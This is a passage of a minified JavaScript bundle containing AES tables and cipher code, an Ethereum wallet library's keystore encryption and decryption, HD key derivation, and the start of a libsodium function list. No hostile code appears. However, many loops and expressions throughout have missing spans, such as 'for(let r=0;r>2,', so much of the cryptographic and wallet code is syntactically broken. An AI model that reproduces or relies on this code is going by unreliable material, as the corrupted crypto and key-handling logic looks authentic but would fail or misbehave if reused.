,3016697106,1003007129,2802849917,1860738147,2077965243,164439672,4100872472,32283319,2827177882,1709610350,2125135846,136428751,3874428392,3652904859,3460984630,3572145929,3593056380,2939266226,824852259,818324884,3224740454,930369212,2801566410,2967507152,355706840,1257309336,4148292826,243256656,790073846,2373340630,1296297904,1422699085,3756299780,3818836405,457992840,3099667487,2135319889,77422314,1560382517,1945798516,788204353,1521706781,1385356242,870912086,325965383,2358957921,2050466060,2388260884,2313884476,4006521127,901210569,3990953189,1014646705,1503449823,1062597235,2031621326,3212035895,3931371469,1533017514,350174575,2256028891,2177544179,1052338372,741876788,1606591296,1914052035,213705253,2334669897,1107234197,1899603969,3725069491,2631447780,2422494913,1635502980,1893020342,1950903388,1120974935],jg=[2807058932,1699970625,2764249623,1586903591,1808481195,1173430173,1487645946,59984867,4199882800,1844882806,1989249228,1277555970,3623636965,3419915562,1149249077,2744104290,1514790577,459744698,244860394,3235995134,1963115311,4027744588,2544078150,4190530515,1608975247,2627016082,2062270317,1507497298,2200818878,567498868,1764313568,3359936201,2305455554,2037970062,1047239e3,1910319033,1337376481,2904027272,2892417312,984907214,1243112415,830661914,861968209,2135253587,2011214180,2927934315,2686254721,731183368,1750626376,4246310725,1820824798,4172763771,3542330227,48394827,2404901663,2871682645,671593195,3254988725,2073724613,145085239,2280796200,2779915199,1790575107,2187128086,472615631,3029510009,4075877127,3802222185,4107101658,3201631749,1646252340,4270507174,1402811438,1436590835,3778151818,3950355702,3963161475,4020912224,2667994737,273792366,2331590177,104699613,95345982,3175501286,2377486676,1560637892,3564045318,369057872,4213447064,3919042237,1137477952,2658625497,1119727848,2340947849,1530455833,4007360968,172466556,266959938,516552836,0,2256734592,3980931627,1890328081,1917742170,4294704398,945164165,3575528878,958871085,3647212047,2787207260,1423022939,775562294,1739656202,3876557655,2530391278,2443058075,3310321856,547512796,1265195639,437656594,3121275539,719700128,3762502690,387781147,218828297,3350065803,2830708150,2848461854,428169201,122466165,3720081049,1627235199,648017665,4122762354,1002783846,2117360635,695634755,3336358691,4234721005,4049844452,3704280881,2232435299,574624663,287343814,612205898,1039717051,840019705,2708326185,793451934,821288114,1391201670,3822090177,376187827,3113855344,1224348052,1679968233,2361698556,1058709744,752375421,2431590963,1321699145,3519142200,2734591178,188127444,2177869557,3727205754,2384911031,3215212461,2648976442,2450346104,3432737375,1180849278,331544205,3102249176,4150144569,2952102595,2159976285,2474404304,766078933,313773861,2570832044,2108100632,1668212892,3145456443,2013908262,418672217,3070356634,2594734927,1852171925,3867060991,3473416636,3907448597,2614737639,919489135,164948639,2094410160,2997825956,590424639,2486224549,1723872674,3157750862,3399941250,3501252752,3625268135,2555048196,3673637356,1343127501,4130281361,3599595085,2957853679,1297403050,81781910,3051593425,2283490410,532201772,1367295589,3926170974,895287692,1953757831,1093597963,492483431,3528626907,1446242576,1192455638,1636604631,209336225,344873464,1015671571,669961897,3375740769,3857572124,2973530695,3747192018,1933530610,3464042516,935293895,3454686199,2858115069,1863638845,3683022916,4085369519,3292445032,875313188,1080017571,3279033885,621591778,1233856572,2504130317,24197544,3017672716,3835484340,3247465558,2220981195,3060847922,1551124588,1463996600],zg=[4104605777,1097159550,396673818,660510266,2875968315,2638606623,4200115116,3808662347,821712160,1986918061,3430322568,38544885,3856137295,718002117,893681702,1654886325,2975484382,3122358053,3926825029,4274053469,796197571,1290801793,1184342925,3556361835,2405426947,2459735317,1836772287,1381620373,3196267988,1948373848,3764988233,3385345166,3263785589,2390325492,1480485785,3111247143,3780097726,2293045232,548169417,3459953789,3746175075,439452389,1362321559,1400849762,1685577905,1806599355,2174754046,137073913,1214797936,1174215055,3731654548,2079897426,1943217067,1258480242,529487843,1437280870,3945269170,3049390895,3313212038,923313619,679998e3,3215307299,57326082,377642221,3474729866,2041877159,133361907,1776460110,3673476453,96392454,878845905,2801699524,777231668,4082475170,2330014213,4142626212,2213296395,1626319424,1906247262,1846563261,562755902,3708173718,1040559837,3871163981,1418573201,3294430577,114585348,1343618912,2566595609,3186202582,1078185097,3651041127,3896688048,2307622919,425408743,3371096953,2081048481,1108339068,2216610296,0,2156299017,736970802,292596766,1517440620,251657213,2235061775,2933202493,758720310,265905162,1554391400,1532285339,908999204,174567692,1474760595,4002861748,2610011675,3234156416,3693126241,2001430874,303699484,2478443234,2687165888,585122620,454499602,151849742,2345119218,3064510765,514443284,4044981591,1963412655,2581445614,2137062819,19308535,1928707164,1715193156,4219352155,1126790795,600235211,3992742070,3841024952,836553431,1669664834,2535604243,3323011204,1243905413,3141400786,4180808110,698445255,2653899549,2989552604,2253581325,3252932727,3004591147,1891211689,2487810577,3915653703,4237083816,4030667424,2100090966,865136418,1229899655,953270745,3399679628,3557504664,4118925222,2061379749,3079546586,2915017791,983426092,2022837584,1607244650,2118541908,2366882550,3635996816,972512814,3283088770,1568718495,3499326569,3576539503,621982671,2895723464,410887952,2623762152,1002142683,645401037,1494807662,2595684844,1335535747,2507040230,4293295786,3167684641,367585007,3885750714,1865862730,2668221674,2960971305,2763173681,1059270954,2777952454,2724642869,1320957812,2194319100,2429595872,2815956275,77089521,3973773121,3444575871,2448830231,1305906550,4021308739,2857194700,2516901860,3518358430,1787304780,740276417,1699839814,1592394909,2352307457,2272556026,188821243,1729977011,3687994002,274084841,3594982253,3613494426,2701949495,4162096729,322734571,2837966542,1640576439,484830689,1202797690,3537852828,4067639125,349075736,3342319475,4157467219,4255800159,1030690015,1155237496,2951971274,1757691577,607398968,2738905026,499347990,3794078908,1011452712,227885567,2818666809,213114376,3034881240,1455525988,3414450555,850817237,1817998408,3092726480],qg=[0,235474187,470948374,303765277,941896748,908933415,607530554,708780849,1883793496,2118214995,1817866830,1649639237,1215061108,1181045119,1417561698,1517767529,3767586992,4003061179,4236429990,4069246893,3635733660,3602770327,3299278474,3400528769,2430122216,2664543715,2362090238,2193862645,2835123396,2801107407,3035535058,3135740889,3678124923,3576870512,3341394285,3374361702,3810496343,3977675356,4279080257,4043610186,2876494627,2776292904,3076639029,3110650942,2472011535,2640243204,2403728665,2169303058,1001089995,899835584,666464733,699432150,59727847,226906860,530400753,294930682,1273168787,1172967064,1475418501,1509430414,1942435775,2110667444,1876241833,1641816226,2910219766,2743034109,2976151520,3211623147,2505202138,2606453969,2302690252,2269728455,3711829422,3543599269,3240894392,3475313331,3843699074,3943906441,4178062228,4144047775,1306967366,1139781709,1374988112,1610459739,1975683434,2076935265,1775276924,1742315127,1034867998,866637845,566021896,800440835,92987698,193195065,429456164,395441711,1984812685,2017778566,1784663195,1683407248,1315562145,1080094634,1383856311,1551037884,101039829,135050206,437757123,337553864,1042385657,807962610,573804783,742039012,2531067453,2564033334,2328828971,2227573024,2935566865,2700099354,3001755655,3168937228,3868552805,3902563182,4203181171,4102977912,3736164937,3501741890,3265478751,3433712980,1106041591,1340463100,1576976609,1408749034,2043211483,2009195472,1708848333,1809054150,832877231,1068351396,766945465,599762354,159417987,126454664,361929877,463180190,2709260871,2943682380,3178106961,3009879386,2572697195,2538681184,2236228733,2336434550,3509871135,3745345300,3441850377,3274667266,3910161971,3877198648,4110568485,4211818798,2597806476,2497604743,2261089178,2295101073,2733856160,2902087851,3202437046,2968011453,3936291284,3835036895,4136440770,4169408201,3535486456,3702665459,3467192302,3231722213,2051518780,1951317047,1716890410,1750902305,1113818384,1282050075,1584504582,1350078989,168810852,67556463,371049330,404016761,841739592,1008918595,775550814,540080725,3969562369,3801332234,4035489047,4269907996,3569255213,3669462566,3366754619,3332740144,2631065433,2463879762,2160117071,2395588676,2767645557,2868897406,3102011747,3069049960,202008497,33778362,270040487,504459436,875451293,975658646,675039627,641025152,2084704233,1917518562,1615861247,1851332852,1147550661,1248802510,1484005843,1451044056,933301370,967311729,733156972,632953703,260388950,25965917,328671808,496906059,1206477858,1239443753,1543208500,1441952575,2144161806,1908694277,1675577880,1842759443,3610369226,3644379585,3408119516,3307916247,4011190502,3776767469,4077384432,4245618683,2809771154,2842737049,3144396420,3043140495,2673705150,2438237621,2203032232,2370213795],Xg=[0,185469197,370938394,487725847,741876788,657861945,975451694,824852259,1483753576,1400783205,1315723890,1164071807,1950903388,2135319889,1649704518,1767536459,2967507152,3152976349,2801566410,2918353863,2631447780,2547432937,2328143614,2177544179,3901806776,3818836405,4270639778,4118987695,3299409036,3483825537,3535072918,3652904859,2077965243,1893020342,1841768865,1724457132,1474502543,1559041666,1107234197,1257309336,598438867,681933534,901210569,1052338372,261314535,77422314,428819965,310463728,3409685355,3224740454,3710368113,3593056380,3875770207,3960309330,4045380933,4195456072,2471224067,2554718734,2237133081,2388260884,3212035895,3028143674,2842678573,2724322336,4138563181,4255350624,3769721975,3955191162,3667219033,3516619604,3431546947,3347532110,2933734917,2782082824,3099667487,3016697106,2196052529,2313884476,2499348523,2683765030,1179510461,1296297904,1347548327,1533017514,1786102409,1635502980,2087309459,2003294622,507358933,355706840,136428751,53458370,839224033,957055980,605657339,790073846,2373340630,2256028891,2607439820,2422494913,2706270690,2856345839,3075636216,3160175349,3573941694,3725069491,3273267108,3356761769,4181598602,4063242375,4011996048,3828103837,1033297158,915985419,730517276,545572369,296679730,446754879,129166120,213705253,1709610350,1860738147,1945798516,2029293177,1239331162,1120974935,1606591296,1422699085,4148292826,4233094615,3781033664,3931371469,3682191598,3497509347,3446004468,3328955385,2939266226,2755636671,3106780840,2988687269,2198438022,2282195339,2501218972,2652609425,1201765386,1286567175,1371368976,1521706781,1805211710,1620529459,2105887268,1988838185,533804130,350174575,164439672,46346101,870912086,954669403,636813900,788204353,2358957921,2274680428,2592523643,2441661558,2695033685,2880240216,3065962831,3182487618,3572145929,3756299780,3270937875,3388507166,4174560061,4091327024,4006521127,3854606378,1014646705,930369212,711349675,560487590,272786309,457992840,106852767,223377554,1678381017,1862534868,1914052035,2031621326,1211247597,1128014560,1580087799,1428173050,32283319,182621114,401639597,486441376,768917123,651868046,1003007129,818324884,1503449823,1385356242,1333838021,1150208456,1973745387,2125135846,1673061617,1756818940,2970356327,3120694122,2802849917,2887651696,2637442643,2520393566,2334669897,2149987652,3917234703,3799141122,4284502037,4100872472,3309594171,3460984630,3545789473,3629546796,2050466060,1899603969,1814803222,1730525723,1443857720,1560382517,1075025698,1260232239,575138148,692707433,878443390,1062597235,243256656,91341917,409198410,325965383,3403100636,3252238545,3704300486,3620022987,3874428392,3990953189,4042459122,4227665663,2460449204,2578018489,2226875310,2411029155,3198115200,3046200461,2827177882,2743944855],Vg=[0,218828297,437656594,387781147,875313188,958871085,775562294,590424639,1750626376,1699970625,1917742170,2135253587,1551124588,1367295589,1180849278,1265195639,3501252752,3720081049,3399941250,3350065803,3835484340,3919042237,4270507174,4085369519,3102249176,3051593425,2734591178,2952102595,2361698556,2177869557,2530391278,2614737639,3145456443,3060847922,2708326185,2892417312,2404901663,2187128086,2504130317,2555048196,3542330227,3727205754,3375740769,3292445032,3876557655,3926170974,4246310725,4027744588,1808481195,1723872674,1910319033,2094410160,1608975247,1391201670,1173430173,1224348052,59984867,244860394,428169201,344873464,935293895,984907214,766078933,547512796,1844882806,1627235199,2011214180,2062270317,1507497298,1423022939,1137477952,1321699145,95345982,145085239,532201772,313773861,830661914,1015671571,731183368,648017665,3175501286,2957853679,2807058932,2858115069,2305455554,2220981195,2474404304,2658625497,3575528878,3625268135,3473416636,3254988725,3778151818,3963161475,4213447064,4130281361,3599595085,3683022916,3432737375,3247465558,3802222185,4020912224,4172763771,4122762354,3201631749,3017672716,2764249623,2848461854,2331590177,2280796200,2431590963,2648976442,104699613,188127444,472615631,287343814,840019705,1058709744,671593195,621591778,1852171925,1668212892,1953757831,2037970062,1514790577,1463996600,1080017571,1297403050,3673637356,3623636965,3235995134,3454686199,4007360968,3822090177,4107101658,4190530515,2997825956,3215212461,2830708150,2779915199,2256734592,2340947849,2627016082,2443058075,172466556,122466165,273792366,492483431,1047239e3,861968209,612205898,695634755,1646252340,1863638845,2013908262,1963115311,1446242576,1530455833,1277555970,1093597963,1636604631,1820824798,2073724613,1989249228,1436590835,1487645946,1337376481,1119727848,164948639,81781910,331544205,516552836,1039717051,821288114,669961897,719700128,2973530695,3157750862,2871682645,2787207260,2232435299,2283490410,2667994737,2450346104,3647212047,3564045318,3279033885,3464042516,3980931627,3762502690,4150144569,4199882800,3070356634,3121275539,2904027272,2686254721,2200818878,2384911031,2570832044,2486224549,3747192018,3528626907,3310321856,3359936201,3950355702,3867060991,4049844452,4234721005,1739656202,1790575107,2108100632,1890328081,1402811438,1586903591,1233856572,1149249077,266959938,48394827,369057872,418672217,1002783846,919489135,567498868,752375421,209336225,24197544,376187827,459744698,945164165,895287692,574624663,793451934,1679968233,1764313568,2117360635,1933530610,1343127501,1560637892,1243112415,1192455638,3704280881,3519142200,3336358691,3419915562,3907448597,3857572124,4075877127,4294704398,3029510009,3113855344,2927934315,2744104290,2159976285,2377486676,2594734927,2544078150],Wg=[0,151849742,303699484,454499602,607398968,758720310,908999204,1059270954,1214797936,1097159550,1517440620,1400849762,1817998408,1699839814,2118541908,2001430874,2429595872,2581445614,2194319100,2345119218,3034881240,3186202582,2801699524,2951971274,3635996816,3518358430,3399679628,3283088770,4237083816,4118925222,4002861748,3885750714,1002142683,850817237,698445255,548169417,529487843,377642221,227885567,77089521,1943217067,2061379749,1640576439,1757691577,1474760595,1592394909,1174215055,1290801793,2875968315,2724642869,3111247143,2960971305,2405426947,2253581325,2638606623,2487810577,3808662347,3926825029,4044981591,4162096729,3342319475,3459953789,3576539503,3693126241,1986918061,2137062819,1685577905,1836772287,1381620373,1532285339,1078185097,1229899655,1040559837,923313619,740276417,621982671,439452389,322734571,137073913,19308535,3871163981,4021308739,4104605777,4255800159,3263785589,3414450555,3499326569,3651041127,2933202493,2815956275,3167684641,3049390895,2330014213,2213296395,2566595609,2448830231,1305906550,1155237496,1607244650,1455525988,1776460110,1626319424,2079897426,1928707164,96392454,213114376,396673818,514443284,562755902,679998e3,865136418,983426092,3708173718,3557504664,3474729866,3323011204,4180808110,4030667424,3945269170,3794078908,2507040230,2623762152,2272556026,2390325492,2975484382,3092726480,2738905026,2857194700,3973773121,3856137295,4274053469,4157467219,3371096953,3252932727,3673476453,3556361835,2763173681,2915017791,3064510765,3215307299,2156299017,2307622919,2459735317,2610011675,2081048481,1963412655,1846563261,1729977011,1480485785,1362321559,1243905413,1126790795,878845905,1030690015,645401037,796197571,274084841,425408743,38544885,188821243,3613494426,3731654548,3313212038,3430322568,4082475170,4200115116,3780097726,3896688048,2668221674,2516901860,2366882550,2216610296,3141400786,2989552604,2837966542,2687165888,1202797690,1320957812,1437280870,1554391400,1669664834,1787304780,1906247262,2022837584,265905162,114585348,499347990,349075736,736970802,585122620,972512814,821712160,2595684844,2478443234,2293045232,2174754046,3196267988,3079546586,2895723464,2777952454,3537852828,3687994002,3234156416,3385345166,4142626212,4293295786,3841024952,3992742070,174567692,57326082,410887952,292596766,777231668,660510266,1011452712,893681702,1108339068,1258480242,1343618912,1494807662,1715193156,1865862730,1948373848,2100090966,2701949495,2818666809,3004591147,3122358053,2235061775,2352307457,2535604243,2653899549,3915653703,3764988233,4219352155,4067639125,3444575871,3294430577,3746175075,3594982253,836553431,953270745,600235211,718002117,367585007,484830689,133361907,251657213,2041877159,1891211689,1806599355,1654886325,1568718495,1418573201,1335535747,1184342925];function Zg(t){const e=[];for(let r=0;r>2,Fg(this,xg,\"f\")[i][t%4]=A[t],Fg(this,Mg,\"f\")[e-i][t%4]=A[t];let o,s=0,a=n;for(;a>16&255]<<24^Ug[o>>8&255]<<16^Ug[255&o]<<8^Ug[o>>24&255]^Rg[s]<<24,s+=1,8!=n)for(let t=1;t>8&255]<<8^Ug[o>>16&255]<<16^Ug[o>>24&255]<<24;for(let t=n/2+1;t>2,i=a%4,Fg(this,xg,\"f\")[t][i]=A[c],Fg(this,Mg,\"f\")[e-t][i]=A[c++],a++}for(let t=1;t>24&255]^Xg[o>>16&255]^Vg[o>>8&255]^Wg[255&o]}encrypt(t){if(16!=t.length)throw new TypeError(\"invalid plaintext size (must be 16 bytes)\");const e=Fg(this,xg,\"f\").length-1,r=[0,0,0,0];let n=Zg(t);for(let t=0;t<4;t++)n[t]^=Fg(this,xg,\"f\")[0][t];for(let t=1;t>24&255]^Lg[n[(e+1)%4]>>16&255]^Og[n[(e+2)%4]>>8&255]^Yg[255&n[(e+3)%4]]^Fg(this,xg,\"f\")[t][e];n=r.slice()}const A=new Uint8Array(16);let i=0;for(let t=0;t<4;t++)i=Fg(this,xg,\"f\")[e][t],A[4*t]=255&(Ug[n[t]>>24&255]^i>>24),A[4*t+1]=255&(Ug[n[(t+1)%4]>>16&255]^i>>16),A[4*t+2]=255&(Ug[n[(t+2)%4]>>8&255]^i>>8),A[4*t+3]=255&(Ug[255&n[(t+3)%4]]^i);return A}decrypt(t){if(16!=t.length)throw new TypeError(\"invalid ciphertext size (must be 16 bytes)\");const e=Fg(this,Mg,\"f\").length-1,r=[0,0,0,0];let n=Zg(t);for(let t=0;t<4;t++)n[t]^=Fg(this,Mg,\"f\")[0][t];for(let t=1;t>24&255]^Jg[n[(e+3)%4]>>16&255]^jg[n[(e+2)%4]>>8&255]^zg[255&n[(e+1)%4]]^Fg(this,Mg,\"f\")[t][e];n=r.slice()}const A=new Uint8Array(16);let i=0;for(let t=0;t<4;t++)i=Fg(this,Mg,\"f\")[e][t],A[4*t]=255&(Gg[n[t]>>24&255]^i>>24),A[4*t+1]=255&(Gg[n[(t+3)%4]>>16&255]^i>>16),A[4*t+2]=255&(Gg[n[(t+2)%4]>>8&255]^i>>8),A[4*t+3]=255&(Gg[255&n[(t+1)%4]]^i);return A}}Ng=new WeakMap,Mg=new WeakMap,xg=new WeakMap;class tu{constructor(t,e,r){if(r&&!(this instanceof r))throw new Error(`${t} must be instantiated with \"new\"`);Object.defineProperties(this,{aes:{enumerable:!0,value:new $g(e)},name:{enumerable:!0,value:t}})}}var eu,ru,nu=function(t,e,r,n,A){if(\"m\"===n)throw new TypeError(\"Private method is not writable\");if(\"a\"===n&&!A)throw new TypeError(\"Private accessor was defined without a setter\");if(\"function\"==typeof e?t!==e||!A:!e.has(t))throw new TypeError(\"Cannot write private member to an object whose class did not declare it\");return\"a\"===n?A.call(t,r):A?A.value=r:e.set(t,r),r},Au=function(t,e,r,n){if(\"a\"===r&&!n)throw new TypeError(\"Private accessor was defined without a getter\");if(\"function\"==typeof e?t!==e||!n:!e.has(t))throw new TypeError(\"Cannot read private member from an object whose class did not declare it\");return\"m\"===r?n:\"a\"===r?n.call(t):n?n.value:e.get(t)};class iu extends tu{constructor(t,e){if(super(\"ECC\",t,iu),eu.set(this,void 0),ru.set(this,void 0),e){if(e.length%16)throw new TypeError(\"invalid iv size (must be 16 bytes)\");nu(this,eu,new Uint8Array(e),\"f\")}else nu(this,eu,new Uint8Array(16),\"f\");nu(this,ru,this.iv,\"f\")}get iv(){return new Uint8Array(Au(this,eu,\"f\"))}encrypt(t){if(t.length%16)throw new TypeError(\"invalid plaintext size (must be multiple of 16 bytes)\");const e=new Uint8Array(t.length);for(let r=0;rNumber.MAX_SAFE_INTEGER)throw new TypeError(\"invalid counter initial integer value\");for(let e=15;e>=0;--e)hu(this,au,\"f\")[e]=t%256,t=Math.floor(t/256)}setCounterBytes(t){if(16!==t.length)throw new TypeError(\"invalid counter initial Uint8Array value length\");hu(this,au,\"f\").set(t)}increment(){for(let t=15;t>=0;t--){if(255!==hu(this,au,\"f\")[t]){hu(this,au,\"f\")[t]++;break}hu(this,au,\"f\")[t]=0}}encrypt(t){var e,r;const n=new Uint8Array(t);for(let t=0;t0&&!(n&n-1),\"invalid kdf.N\",\"kdf.N\",n),vn(A>0&&i>0,\"invalid kdf\",\"kdf\",e);const o=pu(t,\"crypto.kdfparams.dklen:int!\");return vn(32===o,\"invalid kdf.dklen\",\"kdf.dflen\",o),{name:\"scrypt\",salt:r,N:n,r:A,p:i,dkLen:64}}if(\"pbkdf2\"===e.toLowerCase()){const e=pu(t,\"crypto.kdfparams.salt:data!\"),r=pu(t,\"crypto.kdfparams.prf:string!\"),n=r.split(\"-\").pop();vn(\"sha256\"===n||\"sha512\"===n,\"invalid kdf.pdf\",\"kdf.pdf\",r);const A=pu(t,\"crypto.kdfparams.c:int!\"),i=pu(t,\"crypto.kdfparams.dklen:int!\");return vn(32===i,\"invalid kdf.dklen\",\"kdf.dklen\",i),{name:\"pbkdf2\",salt:e,count:A,dkLen:i,algorithm:n}}}vn(!1,\"unsupported key-derivation function\",\"kdf\",e)}function mu(t){return new Promise((e=>{setTimeout((()=>{e()}),t)}))}function Bu(t){const e=null!=t.salt?Sn(t.salt,\"options.salt\"):So(32);let r=1<<17,n=8,A=1;return t.scrypt&&(t.scrypt.N&&(r=t.scrypt.N),t.scrypt.r&&(n=t.scrypt.r),t.scrypt.p&&(A=t.scrypt.p)),vn(\"number\"==typeof r&&r>0&&Number.isSafeInteger(r)&&(BigInt(r)&BigInt(r-1))===BigInt(0),\"invalid scrypt N parameter\",\"options.N\",r),vn(\"number\"==typeof n&&n>0&&Number.isSafeInteger(n),\"invalid scrypt r parameter\",\"options.r\",n),vn(\"number\"==typeof A&&A>0&&Number.isSafeInteger(A),\"invalid scrypt p parameter\",\"options.p\",A),{name:\"scrypt\",dkLen:32,salt:e,N:r,r:n,p:A}}function Eu(t,e,r,n){const A=Sn(r.privateKey,\"privateKey\"),i=null!=n.iv?Sn(n.iv,\"options.iv\"):So(16);vn(16===i.length,\"invalid options.iv length\",\"options.iv\",n.iv);const o=null!=n.uuid?Sn(n.uuid,\"options.uuid\"):So(16);vn(16===o.length,\"invalid options.uuid length\",\"options.uuid\",n.iv);const s=t.slice(0,16),a=t.slice(16,32),c=Sn(new gu(s,i).encrypt(A)),h=no(Tn([a,c])),g={address:r.address.substring(2).toLowerCase(),id:NA(o),version:3,Crypto:{cipher:\"aes-128-ctr\",cipherparams:{iv:Pn(i).substring(2)},ciphertext:Pn(c).substring(2),kdf:\"scrypt\",kdfparams:{salt:Pn(e.salt).substring(2),n:e.N,dklen:32,p:e.p,r:e.r},mac:h.substring(2)}};if(r.mnemonic){const e=null!=n.client?n.client:`ethers/${pn}`,A=r.mnemonic.path||du,i=r.mnemonic.locale||\"en\",o=t.slice(32,64),s=Sn(r.mnemonic.entropy,\"account.mnemonic.entropy\"),a=So(16),c=Sn(new gu(o,a).encrypt(s)),h=new Date,u=\"UTC--\"+(h.getUTCFullYear()+\"-\"+lu(h.getUTCMonth()+1,2)+\"-\"+lu(h.getUTCDate(),2)+\"T\"+lu(h.getUTCHours(),2)+\"-\"+lu(h.getUTCMinutes(),2)+\"-\"+lu(h.getUTCSeconds(),2)+\".0Z\")+\"--\"+g.address;g[\"x-ethers\"]={client:e,gethFilename:u,path:A,locale:i,mnemonicCounter:Pn(a).substring(2),mnemonicCiphertext:Pn(c).substring(2),version:\"0.1\"}}return JSON.stringify(g)}function wu(t,e,r){null==r&&(r={});const n=fu(e),A=Bu(r);return Eu(Sn(Yo(n,A.salt,A.N,A.r,A.p,64)),A,t,r)}async function vu(t,e,r){null==r&&(r={});const n=fu(e),A=Bu(r);return Eu(Sn(await Oo(n,A.salt,A.N,A.r,A.p,64,r.progressCallback)),A,t,r)}const _u=\"m/44'/60'/0'/0/0\",Qu=new Uint8Array([66,105,116,99,111,105,110,32,115,101,101,100]),bu=2147483648,ku=BigInt(\"0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\");function Du(t,e){let r=\"\";for(;t;)r=\"0123456789abcdef\"[t%16]+r,t=Math.trunc(t/16);for(;r.length<2*e;)r=\"0\"+r;return\"0x\"+r}function Su(t){const e=Sn(t);return function(t){const e=Sn(t);let r=Vn(e),n=\"\";for(;r;)n=tA[Number(r%AA)]+n,r/=AA;for(let t=0;t=0;e-=8)A[33+(e>>3)]=t>>24-e&255;const i=Sn(Ui(\"sha512\",e,A));return{IL:i.slice(0,32),IR:i.slice(32)}}function xu(t,e){const r=e.split(\"/\");vn(r.length>0,\"invalid path\",\"path\",e),\"m\"===r[0]&&(vn(0===t.depth,`cannot derive root path (i.e. path starting with \"m/\") for a node at non-zero depth ${t.depth}`,\"path\",e),r.shift());let n=t;for(let t=0;t=16&&r.length<=64,\"invalid seed\",\"seed\",\"[REDACTED]\");const n=Sn(Ui(\"sha512\",Qu,r)),A=new ca(Pn(n.slice(0,32)));return new Fu(Nu,A,\"0x00000000\",Pn(n.slice(32)),\"m\",0,0,e,null)}static fromExtendedKey(t){const e=$n(function(t){let e=nA;for(let r=0;r16)throw new TypeError(\"PKCS#7 padding byte out of range\");const r=t.length-e;for(let n=0;n{setTimeout((()=>{e()}),t)}))}class Gu extends Ig{constructor(t,e){\"string\"!=typeof t||t.startsWith(\"0x\")||(t=\"0x\"+t),super(\"string\"==typeof t?new ca(t):t,e)}connect(t){return new Gu(this.signingKey,t)}async encrypt(t,e){const r={address:this.address,privateKey:this.privateKey};return await vu(r,t,{progressCallback:e})}encryptSync(t){return wu({address:this.address,privateKey:this.privateKey},t)}static#ht(t){if(vn(t,\"invalid JSON wallet\",\"json\",\"[ REDACTED ]\"),\"mnemonic\"in t&&t.mnemonic&&\"en\"===t.mnemonic.locale){const e=Sg.fromEntropy(t.mnemonic.entropy),r=Fu.fromMnemonic(e,t.mnemonic.path);if(r.address===t.address&&r.privateKey===t.privateKey)return r;console.log(\"WARNING: JSON mismatch address/privateKey != mnemonic; fallback onto private key\")}const e=new Gu(t.privateKey);return vn(e.address===t.address,\"address/privateKey mismatch\",\"json\",\"[ REDACTED ]\"),e}static async fromEncryptedJson(t,e,r){let n=null;return Iu(t)?n=await async function(t,e,r){const n=JSON.parse(t),A=fu(e),i=Cu(n);if(\"pbkdf2\"===i.name){r&&(r(0),await mu(0));const{salt:t,count:e,dkLen:o,algorithm:s}=i,a=Qo(A,t,e,o,s);return r&&(r(1),await mu(0)),yu(n,a)}wn(\"scrypt\"===i.name,\"cannot be reached\",\"UNKNOWN_ERROR\",{params:i});const{salt:o,N:s,r:a,p:c,dkLen:h}=i;return yu(n,await Oo(A,o,s,a,c,h,r))}(t,e,r):Tu(t)&&(r&&(r(0),await Uu(0)),n=Ru(t,e),r&&(r(1),await Uu(0))),Gu.#ht(n)}static fromEncryptedJsonSync(t,e){let r=null;return Iu(t)?r=function(t,e){const r=JSON.parse(t),n=fu(e),A=Cu(r);if(\"pbkdf2\"===A.name){const{salt:t,count:e,dkLen:i,algorithm:o}=A;return yu(r,Qo(n,t,e,i,o))}wn(\"scrypt\"===A.name,\"cannot be reached\",\"UNKNOWN_ERROR\",{params:A});const{salt:i,N:o,r:s,p:a,dkLen:c}=A;return yu(r,Yo(n,i,o,s,a,c))}(t,e):Tu(t)?r=Ru(t,e):vn(!1,\"invalid JSON wallet\",\"json\",\"[ REDACTED ]\"),Gu.#ht(r)}static createRandom(t){const e=Fu.createRandom();return t?e.connect(t):e}static fromPhrase(t,e){const r=Fu.fromPhrase(t);return e?r.connect(e):r}}var Hu;!function(t){t.ERC20=\"ERC20\",t.ERC721=\"ERC721\"}(Hu||(Hu={}));var Lu,Ou={},Yu={exports:{}};!function(e){!function(r){function n(t,e){var r,n=\"uint8array\",A=e.ready.then((function(){function n(){if(0!==r._sodium_init())throw new Error(\"libsodium was not correctly initialized.\");for(var e=[\"crypto_aead_aegis128l_decrypt\",\"crypto_aead_aegis128l_decrypt_detached\",\"crypto_aead_aegis128l_encrypt\",\"crypto_aead_aegis128l_encrypt_detached\",\"crypto_aead_aegis128l_keygen\",\"crypto_aead_aegis256_decrypt\",\"crypto_aead_aegis256_decrypt_detached\",\"crypto_aead_aegis256_encrypt\",\"crypto_aead_aegis256_encrypt_detached\",\"crypto_aead_aegis256_keygen\",\"crypto_aead_chacha20poly1305_decrypt\",\"crypto_aead_chacha20poly1305_decrypt_detached\",\"crypto_aead_chacha20poly1305_encrypt\",\"crypto_aead_chacha20poly1305_encrypt_detached\",\"crypto_aead_chacha20poly1305_ietf_decrypt\",\"crypto_aead_chacha20poly1305_ietf_decrypt_detached\",\"crypto_aead_chacha20poly1305_ietf_encrypt\",\"crypto_aead_chacha20poly1305_ietf_encrypt_detached\",\"crypto_aead_chacha20poly1305_ietf_keygen\",\"crypto_aead_chacha20poly1305_keygen\",\"crypto_aead_xchacha20poly1305_ietf_decrypt\",\"crypto_aead_xchacha20poly1305_ietf_decrypt_detached\",\"crypto_aead_xchacha20poly1305_ietf_encrypt\",\"crypto_aead_xchacha20poly1305_ietf_encrypt_detached\",\"crypto_aead_xchacha20poly1305_ietf_keygen\",\"crypto_auth\",\"crypto_auth_hmacsha256\",\"crypto_auth_hmacsha256_final\",\"crypto_auth_hmacsha256_init\",\"crypto_auth_hmacsha256_keygen\",\"crypto_auth_hmacsha256_update\",\"crypto_auth_hmacsha256_verify\",\"crypto_auth_hmacsha512\",\"crypto_auth_hmacsha512_final\",\"crypto_auth_hmacsha512_init\",\"crypto_auth_hmacsha512_keygen\",\"crypto_auth_hmacsha512_update\",\"crypto_auth_hmacsha512_verify\",\"crypto_auth_keygen\",\"crypto_auth_verify\",\"crypto_box_beforenm\",\"crypto_box_curve25519xchacha20poly1305_beforenm\",\"crypto_box_curve25519xchacha20poly1305_detached\",\"crypto_box_curve25519xchacha20poly1305_detached_afternm\",\"crypto_box_curve25519xchacha20poly1305_easy\",\"crypto_box_curve25519xchacha20poly1305_easy_afternm\",\"crypto_box_curve25519xchacha20poly1305_keypair\",\"crypto_box_curve25519xchacha20poly1305_open_detached\",\"crypto_box_curve25519xchacha20poly1305_open_detached_afternm\",\"crypto_box_curve25519xchacha20poly1305_open_easy\",\"crypto_box_curve25519xchacha20poly1305_open_easy_afternm\",\"crypto_box_curve25519xchacha20poly1305_seal\",\"crypto_b